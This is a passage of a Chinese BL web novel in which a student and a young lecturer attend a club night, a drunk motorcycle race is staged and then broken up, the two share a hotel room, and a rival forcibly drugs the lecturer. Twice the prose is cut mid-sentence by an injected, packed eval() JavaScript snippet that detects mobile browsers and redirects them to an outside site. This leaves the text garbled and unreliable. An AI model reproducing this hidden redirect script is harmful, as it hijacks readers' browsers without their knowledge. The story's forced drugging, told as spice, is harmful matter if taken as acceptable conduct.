“还有两年呢，你觉得他会等你两年？” 余序懒得解释顺利的话，自己明年六月份就毕业了，懒怠地“哦”了声，“我觉得会。” 反正他是同性恋是假的，在追求陈西庭也是假的，他想怎么说就怎么说。 “不可能的啦。”徐叶枳语气笃定，从容道：“学弟，你的家庭情况好像很普通吧？” 余序在学校里算个风云人物，下雨那次回去后，她随便一打听就知道他是谁了，长得帅和家里穷是物理系草身上两个鲜明的标签。 余序垂眼漠然地看着她，不置可否。 “学长他需要一个能帮助到他的人。”徐叶枳微微昂着下巴，坦然又自信地道：“我家里和学长家里的集团准备签约合作了，所以他一定会跟我在一起的。” 原来如此。 余序嘴角细微扯动，露出一抹冷嘲的弧度，这就是陈西庭一个同性恋却装直男，和她接触的原因？ “这话等你们真在一起了再说吧。”余序说。 他当然比谁都懂上层社会的利益结合，徐叶枳用利益捆绑住陈西庭，说明爱不爱情不重要，他也懒得多管闲事。 陈西庭的选择无可厚非，但为什么今晚还要把他拉过来当电灯泡？ 陈西庭从洗手间中走出来，余序眼皮下压，乜他一眼。 渣男。 徐叶枳的校外朋友此时正等在校门口，三人前往学校门口，半途碰上余序的舍友老四和刚谈不久的新生女友散步。 老四和余序打招呼，看见一旁的陈西庭，喊了声老师好后，好奇地问余序：“哎？余序你怎么和陈老师在一起，你们要去哪里呀？” 余序散漫的脚步不停，“溜达。” 擦肩而过走出去一段距离后，老四的女友新奇道：“学长，刚刚那个就是你的系草舍友呀？” 老四“嗯”了一声，回头看着余序三人走远的背影，眼里泛着精光，不知道在想些什么。 校门口停着辆库里南，徐叶枳本来想的是和陈西庭一起坐后座，奈何她在副驾窗边和朋友打招呼的空当，余序拉开了一侧后车门。 这就意味着她要么坐副驾驶，要么就去后排和电灯泡一起，反正是没机会和陈西庭一起坐了。 本着自己没占到的便宜，也不能让给情敌，徐叶枳拉开了另一侧车门。 陈西庭上了副驾驶。 朋友启动车辆，通过后视镜看了眼余序，问徐叶枳：“你不说带一个学长么，这位帅哥是？” 多了个情敌这种小事情还不至于徐叶枳挂脸，她态度如常地解释说余序是陈西庭的学生，听说有流星雨便跟着一起凑热闹。 朋友不知道他们之间的“感情纠葛”，热情地表示欢迎。 这人是个话多的，路上一直在和徐叶枳聊天，不时还把话题扯到余序和陈西庭身上。 余序有点烦，冷恹地靠着椅背，单手给陈西庭发送消息： 【你为什么让我跟着来？】 陈西庭的手机震动，他拿出手机看了眼，回复：【这还用问，电灯泡】 余序：【……】 【你没跟她说你是同性恋？】 明明不喜欢，还要为了利益勉强自己和她接触，呵。 陈西庭：【？】 【我不是同性恋】 余序：【？】 余序无语：【你不是同性恋，难道我是同性恋？】 陈西庭：【你不是吗？】 余序：【？？？】 【我什么时候成同性恋了？】 陈西庭：【上次路过，你朋友让你不要出卖自己，和男人在一起是会被人瞧不起的】 陈西庭记性超级好，将当时听到的这句话记得一字不差。 余序差点气笑了：【她那是说你是同性恋，看见我坐你的车，误会我跟你有一腿，让我离你远点】 陈西庭略一思忖，明白过来是徐叶枳和赵满萤乱说他是同性恋的话，不仅传进了院长的耳朵里，也被别人听说了。 陈西庭简单解释来龙去脉，而后道：【相亲时，我不是说我是直男了吗？】 余序：【我还说我恐同呢，你不也把我当成同性恋了？】 两人忽略徐叶枳和朋友的聊天，陷入深深的沉默。 目的地在京郊，山海相连的半开发自然公园，夜里只剩下绵延的轮廓，灯光宛如星子般洒了满山。 库里南盘沿着蜿蜒盘山公路向上，停在半山的一处俱乐部门外。 陈西庭没来过这种地方，建筑风格偏欧式，灯火通明，面朝广阔漆黑的大海，后面的山林间不时传来机车的轰鸣声。 里面一层装成露天酒吧，和柏辰浩那家台球厅差不多，聚得都是些打扮时髦的俊男靓女。 徐叶枳和朋友带他们朝一堆人走过去，卡座上歪着七七八八个说笑的、玩手机的年轻人，几乎两两成对，亲昵地搂着抱着。 打完招呼后，徐叶枳简单地向他们介绍余序和陈西庭，可能是因为知道徐叶枳要带“暧昧对象”来，长沙发上的一对情侣起身，默契地给她和陈西庭让出两个位置。 徐叶枳有了刚刚上车的前车之鉴，这回第一时间拉着陈西庭坐过去，“学长我们坐这里。” 同时一个金色长发的女生端着酒杯热情地朝余序招手，“帅哥第一次来玩么？过来这里坐。” 长沙发上一共坐了四个人，余序神情冷淡，无视金发女生的邀请，对长沙发上的另一对小情侣道：“麻烦让个位置，谢谢。” 他五官冷峻锋利，面无表情时拽得要命，仿佛什么都不放在眼里，气势上呈现压倒性的生人勿近。 小情侣下意识就挽着胳膊起身，让出位置，换到了别的地方坐。 余序坐过去，左手边是陈西庭，金发女生则跟着坐到他左手边，“帅哥你好酷呀，交个朋友呗。” 余序将脚踝搭到膝盖上，看也没看她，“我是同性恋。” 陈西庭略微诧异地偏头看他一眼。 怎么感觉他这五个字充满讽刺意味呢？ “那刚刚好。”金发女生微微一笑，“我也是哦，你喜不喜欢穿女装的0呀？” 陈西庭和余序同时看向“她”，刚才没注意，细看才发现，这人脸部线条确实比女生硬朗一些，被妆容修饰过仍然能看出男生的感觉。 原来是个娘炮。 余序收回视线，不太耐烦，“不喜欢，滚。” 对方也不恼，娇娇软软地嗔笑一声，“真没意思，走了。” 说着起身走到对面，自然而然地坐进了一个红发男生的怀中。 红发男生揽住他，目光在余序脸上端详两眼，“帅哥之前是不是来过这里？感 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但此时他牵着的女生，却不是图书馆门口牵着的女生。 “闻斯卓！”徐叶枳招手和他打招呼。 “你来了啊。”闻斯卓笑道：“把徐博士请出来可真不容易啊。” 下一秒，他看见沙发上的余序，嘴角的笑容凝住，眼神也慢慢冷下来，“啧，这不是陆家小三爷么？怎么来我们平民玩的地方了？” 陆家小三爷？ 此言一出，众人都看向余序，视线充满探究、疑惑、恍然…… 陈西庭本想拿起装着果酒的杯子，闻言手一顿，余序却提着柠檬水的杯口，手背挪开果酒杯，将柠檬水放在他面前，嗓音冷沉，“喝这个。” 陈西庭偏头，注意到他不仅嗓音沉，脸色也沉，黑眸冷峭冽然，直直地盯着闻斯卓。 上次送他回图书馆，他看见闻斯卓和唐雀音时也是这副冷躁的样子。 两人之间一定有什么过节。 陈西庭这么想着，一道窃窃私语的声音传进耳中： “他就是陆家那个高中就打死人的三少爷？” 这不是陈西庭第一次听见有人余序和“陆”这个姓氏的关系了，他不是京州人，不知道陆家是哪个陆家。 但听着还挺厉害的样子。 余序没说话，闻斯卓皮笑肉不笑，“小三爷来都来了，敢不敢跟我比一场。” 他搂住身边女孩的腰，语气充满挑衅，“带人的。” 一旁的徐叶枳有点懵，出言劝道：“太危险了，你们有什么事不能好好说？” 一般赛摩托都是两个人自己比，但有时为了刺激会选择带一个人，且这个人必须是伴侣，增加骑手的紧张性。 不料余序扯唇，凉薄的嗓音讥诮道：“比呗。” “有胆量。”闻斯卓面露凶狠，“你输了，我要你跪下来喊我爸爸，我输了，随你处置。” “行啊。”余序放下搭着的腿，黑眸沉沉盯着闻斯卓，不紧不慢地道：“我要加注。” 周围看热闹的人群脸色纷纷一变，这是行话，玩得疯的二世祖们嫌光赛车没意思，会在比前喝一杯酒，这个称为加注。 要不是有什么深仇大恨，基本不会这么不要命地玩。 “好啊。”闻斯卓露出兴奋的表情，“我还怕你不敢呢。” 徐叶枳蹙眉，刚想出言阻止，红发男生突然一拍大腿，压低了的声音里难掩激动： “我想起来了，去年他在这里开着布加迪碾着辆法拉利撞，硬生生把两辆车都撞废了。” “来了三架直升机给他善后。” 19. 酒驾 闻斯卓和余序正在针锋相对，紧张的气氛里没人出声，因此即便红发男生压低了声音，周围人仍把这话听得清清楚楚。 空气好像更安静了。 直升机在圈子里并不是什么稀罕物件儿，但一下来了三架，还是专门为这种事情收尾，背后什么势力不言而喻。 陈西庭也有些惊讶，碾着车撞？这小孩有这么残暴么？ 余序平常看着又拽又凶的，举手投足和谈吐行事中却会流露出良好的教养，并不像有暴力倾向的样子。 徐叶枳则是心中生出疑惑，这个学弟不是家境贫困吗？怎么会是陆家的人？ 但既然人是她带过来的，不管他是什么身份，都不应该逞一时意气，和闻斯卓做赛车这种危险的行为。 “闻斯卓。”徐叶枳起身，语气温和地劝阻道：“我不知道你们之间有什么瓜葛，他是我带过来玩的，你别针对人家了，或者你们换个别的，赛车太危险了。” 闻斯卓瞥她一眼，点了根烟咬着，痞笑道：“要是换了别的人，我就给你这个面子了，但是这小子不行。” 徐叶枳还想继续劝说，被闻斯卓身后的小弟开口打断：“徐大小姐，这是闻少和他的事，你就别多管闲事了。” 他一身街头小混混的吝劲儿，说完又挑衅地对余序道：“加注就加注，哥几个全都加注，谁怕你啊！” “可以啊。”余序语调没什么起伏，眼神却有种凌厉又倨傲的感觉，“你们几个，有一个先到终点，就算我输。” 他的语气和言辞都拽得过分，看热闹的人开始起哄，徐叶枳见状也懒得多管，脸色不太好地坐了回去。 闻斯卓让人过来倒酒，一人一杯龙舌兰，他和他的几个小弟，还有其他要凑热度的几个男生都喝了。 陈西庭见状明白过来，他们说的“加注”是什么意思。 喝完酒再去比赛骑车，这群人脖子上顶的都是夜壶吧？ 他看着余序修长的手指提起杯口，干脆利落地微微仰头，一口将里面的酒喝了下去，喉结滚动，毫不拖泥带水。 陈西庭毫无制止的意思，徐叶枳拉了拉他的衣袖，有些担忧，“学长，真的很危险，你就让他这么去了？” 陈西庭一派从容淡定，“这是他的事。” 很明显，余序和这个姓闻的人本就有过节，赌注都下了，就算他要拦，按余序的拽逼性格也肯定不会听，又何必多此一举。 余序将空掉的杯子放回桌面，闻斯卓问：“你女伴呢？” “没有女伴。”余序站起身，垂眸睨着身旁的陈西庭，“只有男的。” 陈西庭：“？” 闻斯卓的目光落在陈西庭身上，意味不明地看了两秒，又挑着眉转向余序，“怎么，你不知道规矩么？随随便便带一个人可不行。” 玩这个没规定要带男的女的，但约定俗成的规矩是要带伴侣，这样才能增加紧张情绪影响车手。 余序冷淡的掀眸，“我在追他。” 此言一出，其他人的视线齐刷刷地看向陈西庭。 年轻男人眉目细长，斯文清俊，双腿交叠靠坐在沙发上，一身坦然从容的气质，仿佛他才是这个场子的东道主，和挺拔凌厉的余序一坐一站，十分登对。 所以……陆家小三爷和徐大小姐，是竞争的情敌关系？ “半个月没见。”闻斯卓语气嘲弄，“小三爷改喜欢男的了？” 余序仿佛没听出他的嘲意，轻描淡写地道：“你不让？” “让啊，怎么不让。”闻斯卓露出鄙夷的笑容，“走啊，挑辆车去。” 余序垂眼看着陈西庭，“走吧。” 陈西庭还没说话，徐叶枳扣住陈西庭的手腕，蹙眉对余序道：“要去你自己去，喝酒骑车你还要带人，出意外怎么办？” 余序视线没有分一点给她，仍然看着陈西庭，慢悠悠地问：“你怕危险？” 陈西庭澄净的黑眸和他对视，不答他的话，反而饶有兴趣地问：“跟你去，我有什么好处？” 余序淡然，“你想要什么好处？” 这话说完，陈西庭脑子里闪过好几个想法，但都不太能在目前这个场合里说出来。 “先欠着吧。”陈西庭移开徐叶枳扣在腕上的手，慢条斯理地站起身，“走吧。” 徐叶枳：“？？？” 不是，全世界就我一个人有安全意识么？ 一伙人去场地里挑车，这群富二代看不上赛场供人娱乐的车，大多是骑着自己的爱车，改造过后各项性能都是顶配。 工作人员相当于是只给余序一个人介绍车型，他大概是新来的，关于车型和性能的介绍词还不太熟练。 余序脸上没什么表情，看着一副十分不好伺候的样子，年轻的工作人员越说越紧张，说错好几句话。 余序终于抬眸，“你紧张什么，没别的工作人员了？” “有有有。”对方连连点头，宛如释掉负担，不知道给谁发去信息。 很快过来一个年长点的工作人员。车库里面灯光照得亮堂，新来的工作人员打着电话走过来，走近后看清余序的脸，一愣，立即挂掉电话，换上满脸笑容： “哎我，余少您怎么过来了，我们这边也没个准备，怠慢了您。” “和朋友过来看看。”余序说。 “您现在要挑车吗？”工作人员热情推荐道：“我们老板新改造了辆V4，您去看看不？” 周围看热闹的人中传来窃窃私语： “我去，谢老板改造的车能随便给人骑了？” “你傻啊，很明显这小子是老板的贵客啊！” “喔草，那我真羡慕了，谢老板的车可从不轻易给人骑。” 陈西庭听见这话，对余序的身份更加好奇了，如此特殊，他绝对不是普通的富二代。 “不用了。”拥有特权的余序却随手指了辆车，“就它了。” “嗤。”闻斯卓笑了一声。 他听见余序可以骑谢老板的车还有点不爽，见余序选了一辆普通的不由得耻笑道：“你要骑这个？我等着你叫我爸爸。” 余序懒得搭理他。 赛道依地形而建，盘山又滨海，一圈下来大概要四十分钟，不管是比跑车还是摩托都没问题。 十多个人在起点排好，发动机轰鸣声此起彼伏，其中只有余序和闻斯卓带着人骑。 闻斯卓的女伴见多识广，直接跨坐上去，紧紧抱住闻斯卓的腰。 陈西庭没有这方面的经验，戴好头盔，长腿一迈坐上摩托后座，只拽住余序的一截衣服下摆。 余序一手握着车把，单长腿支在地上，正在看手机，陈西庭上来后他偏头问：“你没坐过摩托？” 陈西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082362|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭：“没有。” 余序另一条腿也支到地上，直起上半身，反手握住陈西庭的两个手腕，拉过来环住自己的腰，“抱紧我。” 陈西庭被他这么一拉，胸膛贴到他宽阔的背上，愣了一下，随即感受到手臂环住的这截腰身劲瘦有力，肌肉起伏，隔着衣料都无法忽视其中隐藏的力量感。 下巴搁在余序的肩头，刚好能看清他手机屏幕上的内容，备注只有一个“隼”字。 余序只发了一句话：【南麓俱乐部有一群傻逼喝酒飙车】 对方回复：【？】 【你喝了没？】 【你别惹事，听见没？】 陈西庭看完有点想笑，怎么还有人骂自己是傻逼的？ 这么想着，他手也没闲着，在余序的腹肌上摸了摸，掌心下肌肉轮廓块垒分明，沟壑起伏。 余序被他摸得肌肉绷紧，“别乱摸！” 陈西庭好像完全没听见似的，手指在他腰腹上挨个按过去，“你有几块腹肌来着？” 这个行为过分亲密，青春期之后，余序就没和人有过这种程度的接触，陌生的感觉让他感到无所适从，下意识按住陈西庭的手，恼道：“别摸了！” 陈西庭手掌有往下摸的趋势，挨在他耳后道：“怎么，你害怕再被我摸～了？” 温热的气息洒在耳畔，余序紧紧按住他的手，深吸一口气，咬牙道：“闭嘴。” 预备铃声响起，陈西庭轻笑，松了手上的力度，“不逗你了，好好骑。” 余序收回手又把手机给他拿着，然后双手握住方向盘，宛如即将狩猎的野兽般目视前方。 发令枪响起，计时器开始跳动，一辆辆机车轰鸣着猛蹿而出。 陈西庭因为惯性向后晃了下，立即收紧手臂抱住余序的腰，整个人都贴在他的后背上，明白刚刚为什么余序让自己抱住他。 刚起步速度就迅速飙升起来，空气在耳中呼啸，和轰鸣声一起仿佛要将耳膜给撕拉开。 路两旁的山景在飞速倒退，鼻尖依稀能嗅到林间草木的清香，更多的是余序身上温暖干燥的橘子香。 高速运动下，天地万物都在快速运行，只有他和余序相对静止，余序代表唯一的原点。 驶出去大概一半的距离，陈西庭感觉余序有在减速，被甩在后面的骑手们一个个从旁边超过。 驶出去不远，余序的速度彻底降下来，在一个路口拐了弯后继续行驶。 陈西庭在开始之前看过赛道沙盘，这个岔路口本该直行，不可能是拐弯。 他以为余序骑错了，又觉得按余序的智商，不会犯这么低级的错误。 果不其然，余序最后在山脚的路边停车，长腿支地摘了头盔，偏头道：“下车。” 耳朵里呼啸的空气安静下来，陈西庭也摘了头盔，从车上下来，夜风在山林里刮过，他隐约听见穿透力极强的警车鸣笛声。 “怎么不骑了？”陈西庭问。 余序把头盔挂到把手上，手指插入有些乱的额发，随手将黑发往后拨了下，淡淡道：“酒驾违法。” 陈西庭：“？” 你原来知道啊。 “那你为什么要答应跟他们比这个？”陈西庭问。 余序下车将车支好，看他一眼，似笑非笑地道：“我不带你出来，你今晚估计要被你那个学妹给吞了。” 20. 酒店 陈西庭一顿，旋即反应过来。 余序应下闻斯卓带人赛车的赌约，提出加注喝酒，反手又报警，等警方介入，将这场充满危险性的赌局破坏。 而这一切，是为了顺理成章地把他带出来？ 想到这里，陈西庭眼尾带起笑，轻啧了一声，“你有这么善良？” 余序斜睨他一眼，讥诮道：“要不你再回去？” “算了。”陈西庭耸耸肩，向周围看了看，“那我们现在干什么去？” 余序下巴轻抬，“山顶有个度假酒店，我们去住一晚。” 陈西庭往山顶看去，盘山路的灯光蜿蜒而上，山顶隐约可见一处建筑，被灯光勾勒出城堡般的轮廓。 “我们为什么不回家？”陈西庭疑惑。 余序将车钥匙拔下来，“现在回去等到学校，宿舍早关门了。” 陈西庭见他拔钥匙，重新看向盘山路，预估距离后，“走上去？” 余序把钥匙丢到头盔里，双手交叉前伸又上移，抻了个懒腰，懒散散地“嗯”了声。 卫衣下摆因为他的动作上提，陈西庭的视线在他一闪而过的腹肌轮廓上停了一瞬，问：“你这车不能骑了？” 余序掀眼瞥他，“你会骑？” “不会。”陈西庭说：“你为什么不骑？” “我刚刚喝了酒，现在有点晕。”余序顶了下腮，唇角挑起抹混不吝的笑，“你不怕摔进山沟里我就骑。” 那确实是有点危险，但陈西庭又不想费力气走上去，提出建议：“可以叫车回我家。” “你想回你就自己回去。”余序转身往山上走，“你家克我，我不去。” 这边是郊区，等车过来要一段时间，陈西庭不想一个人在这儿傻等，无奈抬脚跟了上去。 秋夜的山里空气清新沁凉，明黄的路灯下飞舞着小虫儿，深处不时传来节奏明快的草虫鸣叫。 余序迈着长腿爬山，留给陈西庭一个挺拔轻松的背影。 陈西庭爬山也并不费力，但仍然想感慨一句，十几岁的男孩不仅精力旺盛，体力还好，喜欢闲着没事找事。 爬到一半时，陈西庭的手机电量耗尽关了机。 二十分钟后，两人爬到山顶，城堡样式的豪华酒店彻底暴露在眼前。 陈西庭起了层薄汗，山风一吹，凉意直往皮肤里钻，实在是不太舒服，迫切地想洗个热水澡。 大堂内里融合了现代和中欧风格，置身其中宛如化身中世纪的贵族。 余序轻车熟路地带他走向前台，跟前台小姐要两间房，长指将身份证从烫金的台面推过去。 陈西庭不是故意看的，只是他视力不错，无意地一眼，看清了身份证上的名字： ——张建国。 陈西庭：“……” 好好个大帅哥，真名叫张建国？感觉颜值都大打折扣了。 前台小姐在电脑上操作两下，带着歉意对余序道：“抱歉先生，只剩一间空房了。” 陈西庭：“？” 在这里上演偶像剧呢？ 余序也和他一样不太相信，“只剩一间房了？” “是这样的，因为流星雨的缘故，我们酒店今日满客。”前台小姐解释道：“空下来的这间房晚上刚维修完成，你们来得刚刚好。” 陈西庭有洁癖，不想和任何人同床共枕。 显然余序也有这样的想法，因为他转头提议：“要不你现在叫车回家？我给你出车费。” 换作平常，陈西庭一定不会将就，但他刚爬了山，身上出着汗，手机也没电了，现在只想洗澡休息，同样提议道：“你要是回学校，我可以把教职工宿舍给你住。” 余序也懒得再折腾，退让半步，“一起住吧，你睡沙发。” 陈西庭挑眉，“为什么不是你睡沙发？” “作为老师要照顾学生。” “作为学生要尊重老师。” 前台小姐看着他们两人拌嘴，微笑出声，“两位先生，剩下那间房是双床房哦。” “……” 顺利办理入住，两人带着房卡上楼。 豪华酒店即便是双床房，品质也不输五星级。 床有两张，但浴室只有一个，两人又争起谁先洗澡，谁都不想用对方洗完的浴室。 陈西庭坐在沙发上，随手翻开旅游宣传手册，“你又不是没用过我洗完的浴室。” 余序拧开矿泉水瓶，“那个也不是你刚洗完的，这个床上不知道睡过多少人了，有本事你别睡。” 说完，他将瓶口送到嘴边。 “那怎么办？”陈西庭放下手册，“我们一起洗？” “噗！” 余序刚喝的一口水猛的喷出来，呛得他直咳嗽，“滚滚滚！你先洗行了吧！” 陈西庭满意地起身去洗澡。 余序扯了纸巾擦去水，手机响了两声。 备注“隼”的人给他发来一张警车把俱乐部里面的人全带走的照片，跟着问：【你人呢？】 【你没惹别的事吧？】 余序回复：【没】 聊了几句，手机页面突然跳转到来电显示。 是个陌生号码，余序点击挂断，对方又第二次打来。 余序不耐地接通：“喂？” “学弟。” 徐叶枳的声音响起，语气略显担忧，“西庭学长呢？” 都是一个学校的，余序不意外她能弄到自己电话，淡然道：“他在洗澡。” 对面的声音顿了下，又问：“他为什么不回我消息，也不接我电话。” 余序瞥了眼床头柜上正在充电的手机，“他手机没电关机了，正在充。” 徐叶枳迟疑着问：“你们……现在在哪里？” 余序实话实说：“山海酒店。” 又是几秒沉默后，徐叶枳说：“你们没事就好，先挂了吧。” 电话挂断后，余序后知后觉地意识到……她不会误会什么了吧？ 过了一会儿，陈西庭裹着浴袍，擦着头发走出来。 余序把徐叶枳打来电话的事情告诉他。 陈西庭不太在意，坐到沙发上继续擦头发，“知道了。” 余序随手放下手机，去洗澡。 白天两人在学校忙了一天，晚上又是骑车又是爬山，都有些疲乏，吹干头发就开始休息了。 陈西庭不适应睡觉时房间里有其他人，一直没怎么睡好。 闹钟响起时，天刚蒙蒙亮，他困恹恹地坐起来，关掉手机闹钟。 余序被吵得起床气发作，扯着被子凶巴巴地把自己蒙住。 陈西庭先去洗漱，出来见余序还在被子里，走到他的床边悠悠道：“余序同学，迟到扣分。” 余序：“……” 今早好像就是这个傻逼的课……草。 他掀开被子，皱着眉坐起来。 他身上穿着酒店的一次性睡衣，料子不薄，但也不怎么厚，有什么反应一览无余。 陈西庭视线下移，看得清清楚楚。 “看什么看。”余序的起床气有点重，语气不太好，“你没有啊！” 陈西庭淡笑，“男孩子是应该蓬勃进取，积极向上。” 余序下床，瞪他一眼，趿着拖鞋去洗漱。 收拾好后退了房，两人坐着提前订好的出租车回学校。 余序靠着椅背补觉。 他也没睡好，明明隔着很远的距离，但他总是若有似无地闻到陈西庭身上那种清淡甘冽的茶叶香。 导致他做了一夜混乱无序的春/梦。 到学校的时间刚刚好，教室里的学生不多。 两人前后脚进入教室，何谦堂正和老四讨论题呢，在余序坐过来后看了看他冷倦的脸色，又看了看坐到讲台边、脸色同样难掩困倦的陈西庭，小声道： “你们俩昨晚护送唐僧去取经了？” 老四则道：“阿序你最近怎么总跟陈老师出去过夜？” 余序谁也没理，扯过卫衣帽子扣到头上，往桌上一趴继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这句话让陈西庭意识到遇见他们不是偶然，他们就是冲着自己来的，可是跟他们有过节的，好像是余序吧？ “抱歉，我还有事。”陈西庭说：“下次吧。” “今天好不容易碰上的，下次不一定是什么时候了。”闻斯卓笑笑，“陈老师是体面人，别让我们动粗。” 陈西庭审时度势，这里是私人餐饮会所，闻斯卓他敢这么明目张胆，自然是有恃无恐，双拳难敌四手，更何况这里五六七八十几只手。 陈西庭略微一点头，“行，我和你们走。” 这伙人对他勉强才能算礼貌，带他上了辆商务车，左右两个人看住他，左边这个花臂的男人伸手就来摸他手机。 陈西庭淡声制止，说要先告诉导师一声自己已经离开。 他给梁院长发去消息： 【老师，叶枳突然找我有急事，我先走了】 发完后手机被花臂男人抽走。 陈西庭审时度势，淡定地看他一眼，没说话。 商务车一路行驶，停在不远处的洲际酒店门口，房间可能是提前订好的，陈西庭被他们带着直接坐电梯上楼。 进到一间套房里，陈西庭以为要开始谈判了，身边两个男人却突然擒住他两条胳膊向后一拧，又往他膝盖上踹了一脚。 陈西庭吃痛，单膝跪到地上，两个男人熟练地将他双手用绳子捆在背后。 陈西庭疼得眉心拧起，变故中仍然保持镇定，“你想干什么？” 闻斯卓不知道打开了什么药瓶，倒了粒白色的药丸，走过来捏住他的下颌，将药丸塞进他口中，“别怕，陈老师。” 药丸入口微微发苦，陈西庭想吐掉，却被闻斯卓钳住下颌强制咽下。 “你知道徐叶枳喜欢你吧。” “她追你这么久，你都没点表示，没意思。”闻斯卓弯腰凑近他，邪笑着说：“我给你们加点料，助助兴。” “放心，对身体没有坏处，药效过了就好了。”